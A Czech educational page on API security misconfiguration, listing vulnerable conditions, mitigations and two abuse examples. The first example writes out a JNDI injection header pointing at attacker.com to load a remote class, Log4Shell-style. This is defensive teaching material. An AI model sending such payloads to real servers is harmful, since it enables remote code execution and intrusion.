Přeskočit na hlavní obsah

Chybné nastavení zabezpečení

  • API je zranitelné, pokud
    • chybí bezpečnostní API hardening,
    • mají cloudové služby nesprávně nakonfigurované oprávnění,
    • chybí bezpečnostní záplaty nebo je systém zastaralý,
    • jsou povoleny nepotřebné funkce,
    • jsou nesrovnalosti ve způsobu, jakým servery zpracovávají požadavky,
    • není nastavené TLS,
    • nejsou bezpečnostní nebo cache direktivy posílány na klienta,
    • chybí nebo je špatně nastavený CORS,
    • error zprávy obsahují stack trace nebo zveřejňují citlivé informace.

Jak zranitelnosti přecházet

🔴 Zaveďte API hardening proces pro rychlé a snadné nasazení uzamčeného prostředí.

🔴 Pravidelně kontrolujte a aktualizujte konfiguraci.

  • Kontrolujte orchestrační soubory, API komponenty, cloudové služby.

🔴 Automatizujte proces pro hodnocení účinnosti konfigurace a nastavte ho na všech prostředích.

🔴 Použijte šifrovaný komunikační kanál (TLS) nezávisle na tom, zda jde o interní nebo veřejnou komunikaci.

🔴 Specifikujte, jaké API metody budou dostupné, a ostatní zakažte.

🔴 Implementujte CORS.

🔴 Posílejte bezpečnostní hlavičky v odpovědi.

🔴 Omezte příchozí content type / data formát pro danou logiku.

🔴 Zajistěte, aby všechny servery (load balancer, proxy, backend…) zpracovávaly požadavky jednotným způsobem.

🔴 Definujte a vyžadujte kontrolu schématu API odpovědi včetně error zpráv, které nesmí obsahovat stack trace a jiné citlivé informace.

Příklady zneužití zranitelnosti

  1. API loguje příchozí požadavky.

    • Logovací knihovna podporuje placeholder expansion a JNDI lookups, které jsou ve výchozím nastavení povoleny.
    • Útočník zneužije toto chování následujícím požadavkem:
    GET /health
    X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}
    • Kvůli nezabezpečené konfiguraci a síťovému nastavení nástroj spustí objekt Malicious.class ze vzdáleného serveru útočníka.
  2. Sociální síť poskytuje funkci privátních konverzací.

    • K zobrazení historie zpráv se používá následující endpoint:
    GET /dm/user_updates.json?conversation_id=1234567&cursor=GRlFp7LCUAAAA
    • Vzhledem k tomu, že API odpověď neobsahuje cache-control hlavičku, bude se konverzace cachovat v prohlížeči.
    • Díky tomu si může útočník přečíst soukromé zprávy na veřejném počítači v knihovně, protože jsou uloženy na filesystému.

Kam dál

Cheat sheety

Checklisty